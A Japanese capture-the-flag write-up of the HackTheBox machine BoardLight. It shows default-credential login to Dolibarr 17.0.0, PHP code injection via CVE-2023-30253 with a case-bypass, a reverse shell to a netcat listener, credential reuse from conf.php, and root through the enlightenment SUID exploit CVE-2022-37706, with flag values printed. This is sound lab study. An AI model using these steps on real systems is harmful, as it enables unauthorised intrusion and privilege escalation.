【HackTheBox】BoardLight ：Writeup

# 概要

HackTheBox「BoardLight」のWriteupです。

https://app.hackthebox.com/machines/603

# User Flag

ポートスキャンを実行します。

```
$ nmap -Pn -sV -T4 -A -sC -p- 10.10.11.11 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 06:2d:3b:85:10:59:ff:73:66:27:7f:0e:ae:03:ea:f4 (RSA)
|   256 59:03:dc:52:87:3a:35:99:34:44:74:33:78:31:35:fb (ECDSA)
|_  256 ab:13:38:e4:3e:e0:24:b4:69:38:a9:63:82:38:dd:f4 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

ポートの稼働状況が分かりました。

|ポート|サービス|バージョン|
|:-:|:-:|:-:|
|22|ssh|OpenSSH 8.2p1|
|80|http|Apache httpd 2.4.41|

`80`番ポートでWebアプリケーションにアクセスできました。
フッターからホスト名を確認できたので`/etc/hosts`に追加します。

![home page.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/a7f4feda-bc37-2855-a2f8-35e3f1bf6050.png)

ディレクトリの列挙を行いましたが、興味深いものは見つかりませんでした。

```
$ dirsearch -u http://board.htb/
[03:50:45] 301 -  303B  - /js  ->  http://board.htb/js/
[03:51:06] 200 -    2KB - /about.php
[03:51:42] 200 -    2KB - /contact.php
[03:51:44] 301 -  304B  - /css  ->  http://board.htb/css/
[03:52:00] 301 -  307B  - /images  ->  http://board.htb/images/
```

サブドメインの列挙を行います。

```
$ ffuf -c -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.board.htb" -u http://board.htb -fs 15949
crm                     [Status: 200, Size: 6360, Words: 397, Lines: 150, Duration: 300ms]
```

`crm.board.htb`を`/etc/hosts`へ追加し、アクセスするとログインフォームが表示されました。

![crm login form.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/ea38603e-bc45-c69e-dc6a-e511d5ea05e5.png)

また、`Dolibarr 17.0.0`を使用していると分かりました。

https://wiki.dolibarr.org/index.php?title=Roadmap_and_Release_17.0.0

https://github.com/Dolibarr/dolibarr

サブドメインのディレクトリ列挙を行います。

```
[04:04:24] 301 -  314B  - /admin  ->  http://crm.board.htb/admin/
[04:04:41] 301 -  312B  - /api  ->  http://crm.board.htb/api/
[04:04:41] 200 -  108B  - /api/
[04:04:52] 301 -  319B  - /categories  ->  http://crm.board.htb/categories/
[04:04:59] 301 -  316B  - /contact  ->  http://crm.board.htb/contact/       
[04:05:00] 301 -  313B  - /core  ->  http://crm.board.htb/core/
[04:05:00] 301 -  313B  - /cron  ->  http://crm.board.htb/cron/
04:05:13] 200 -    2KB - /favicon.ico
[04:05:15] 301 -  312B  - /ftp  ->  http://crm.board.htb/ftp/
[04:05:23] 301 -  317B  - /includes  ->  http://crm.board.htb/includes/
[04:05:24] 301 -  316B  - /install  ->  http://crm.board.htb/install/       
[04:05:25] 200 -  322B  - /install/index.php?upgrade/
[04:05:25] 200 -  322B  - /install/
[04:05:52] 301 -  316B  - /product  ->  http://crm.board.htb/product/       
[04:05:53] 301 -  315B  - /public  ->  http://crm.board.htb/public/
[04:05:53] 302 -    0B  - /public/  ->  /public/error-404.php
[04:05:56] 301 -  317B  - /resource  ->  http://crm.board.htb/resource/     
[04:05:57] 200 -  105B  - /robots.txt
[04:05:59] 200 -  176B  - /security.txt
[04:06:07] 301 -  316B  - /support  ->  http://crm.board.htb/support/       
[04:06:07] 200 -    1KB - /support/
[04:06:10] 301 -  314B  - /theme  ->  http://crm.board.htb/theme/
[04:06:13] 301 -  313B  - /user  ->  http://crm.board.htb/user/
[04:06:14] 301 -  319B  - /user/admin  ->  http://crm.board.htb/user/admin/ 
[04:06:20] 301 -  316B  - /website  ->  http://crm.board.htb/website/
```

`Dolibarr 17.0.0`のCVEを検索するとRCEの脆弱性が見つかりました。

https://nvd.nist.gov/vuln/detail/CVE-2023-30253

この脆弱性を悪用するにはログインする必要があるので認証情報を探します。
デフォルト認証情報は`admin/admin`や`admin/changeme`であると分かりました。

https://www.dolibarr.org/forum/t/login-after-installation/16088

試しに`Username: admin`,`Password: admin`でログインを試みると成功しました。

![admin dashboard.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/9a2bd0bc-cd20-26d0-cd21-be732cf7eb4c.png)

下記のレポジトリを参考にRCEを試みます。

https://github.com/dollarboysushil/Dolibarr-17.0.0-Exploit-CVE-2023-30253

`/website/index.php`へアクセスし、Webサイトの作成、ページの追加を行います。

![add web page.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/5e2bebfd-e559-1c5b-7996-50d360c10105.png)

`Edit HTML Source`からPHPのソースコードを追加します。
`<?php ?>`だとエラーが出ますが、`<?pHp ?>`でバイパスできます。

```
<?pHp echo "test"; ?>
```

![php source code.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/4d259b71-7fda-e1ea-f402-33c169859913.png)

右上の`Save`ボタンで保存し右の双眼鏡ボタンから作成したページにアクセスすると、PHPのコードが実行されているのを確認できました。

![php injection success.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3005822/bb903a49-2e8f-c96f-4333-87e63d4e976b.png)

リバースシェルを実行します。
ソースコードはKaliに入っている`/usr/share/webshells/php/php-reverse-shell.php`を使用しました。
先にNetcatでリッスンしておき、先ほどと同じ手順でソースコードを追加します。
追加したサイトにアクセスすると通信を確立できました。

```
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.158] from (UNKNOWN) [10.10.11.11] 52124
Linux boardlight 5.15.0-107-generic #117~20.04.1-Ubuntu SMP Tue Apr 30 10:35:57 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 01:54:38 up  2:08,  1 user,  load average: 0.02, 0.43, 0.69
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
```

`/home`から`larissa`ユーザーの存在を確認できました。

```
$ ls -l /home
total 4
drwxr-x--- 15 larissa larissa 4096 May 17 01:04 larissa
```

認証情報を探します。
調べると`Dolibarr 17.0.0`では`/var/www/html/crm.board.htb/htdocs/conf`に認証情報を書くようなのでファイルを見に行きます。
`/var/www/html/crm.board.htb/htdocs/conf/conf.php`にDBの認証情報を発見しました。

```/var/www/html/crm.board.htb/htdocs/conf/conf.php
<?php
//
// File generated by Dolibarr installer 17.0.0 on May 13, 2024
//
// Take a look at conf.php.example file for an example of conf.php file
// and explanations for all possibles parameters.
//
$dolibarr_main_url_root='http://crm.board.htb';
$dolibarr_main_document_root='/var/www/html/crm.board.htb/htdocs';
$dolibarr_main_url_root_alt='/custom';
$dolibarr_main_document_root_alt='/var/www/html/crm.board.htb/htdocs/custom';
$dolibarr_main_data_root='/var/www/html/crm.board.htb/documents';
$dolibarr_main_db_host='localhost';
$dolibarr_main_db_port='3306';
$dolibarr_main_db_name='dolibarr';
$dolibarr_main_db_prefix='llx_';
$dolibarr_main_db_user='dolibarrowner';
$dolibarr_main_db_pass='serverfun2$2023!!';
$dolibarr_main_db_type='mysqli';
$dolibarr_main_db_character_set='utf8';
$dolibarr_main_db_collation='utf8_unicode_ci';
// Authentication settings
$dolibarr_main_authentication='dolibarr';

(省略)
```

発見した`serverfun2$2023!!`を使って`larissa`へSSH接続を試みると成功しました。

```
$ ssh larissa@board.htb 
The authenticity of host 'board.htb (10.10.11.11)' can't be established.
ED25519 key fingerprint is SHA256:xngtcDPqg6MrK72I6lSp/cKgP2kwzG6rx2rlahvu/v0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'board.htb' (ED25519) to the list of known hosts.
larissa@board.htb's password: 
Last login: Thu Jul 11 01:30:16 2024 from 10.10.14.145
larissa@boardlight:~$
```

`/home/user.txt`からフラグを入手できます。

```/home/user.txt
1a18643f7df7e96824adf90ca26cac86
```

# Root Flag

Kaliから`linpeas`をダウンロードし、実行します。

```
$ ./linpeas.sh
```

`sudo`のバージョンで脆弱性の悪用をいくつか試みましたが、成功しませんでした。

```
╔══════════╣ Sudo version
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-version                                      
Sudo version 1.8.31
```

`SUID`を見ると、`enlightenment`にSUIDが設定されていると分かりました。

```
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid                                     
-rwsr-xr-x 1 root root 15K Jul  8  2019 /usr/lib/eject/dmcrypt-get-device                                            
-rwsr-sr-x 1 root root 15K Apr  8 18:36 /usr/lib/xorg/Xorg.wrap
-rwsr-xr-x 1 root root 27K Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_sys (Unknown SUID binary!)
-rwsr-xr-x 1 root root 15K Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_ckpasswd (Unknown SUID binary!)
-rwsr-xr-x 1 root root 15K Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/utils/enlightenment_backlight (Unknown SUID binary!)
-rwsr-xr-x 1 root root 15K Jan 29  2020 /usr/lib/x86_64-linux-gnu/enlightenment/modules/cpufreq/linux-gnu-x86_64-0.23.1/freqset (Unknown SUID binary!)

(省略)
```

`enlightenment exploit`などで検索すると`CVE-2022-37706`がヒットしました。

https://github.com/MaherAzzouzi/CVE-2022-37706-LPE-exploit/tree/main

このエクスプロイトコードを実行するとroot権限への昇格に成功しました。

```
$ ./exploit.sh 
CVE-2022-37706
[*] Trying to find the vulnerable SUID file...
[*] This may take few seconds...
[+] Vulnerable SUID binary found!
[+] Trying to pop a root shell!
[+] Enjoy the root shell :)
mount: /dev/../tmp/: can't find in /etc/fstab.
# whoami
root
```

`/root/root.txt`からルートフラグを入手できます。

```/root/root.txt
058377e493076b7b9adc7efc112dbda5
```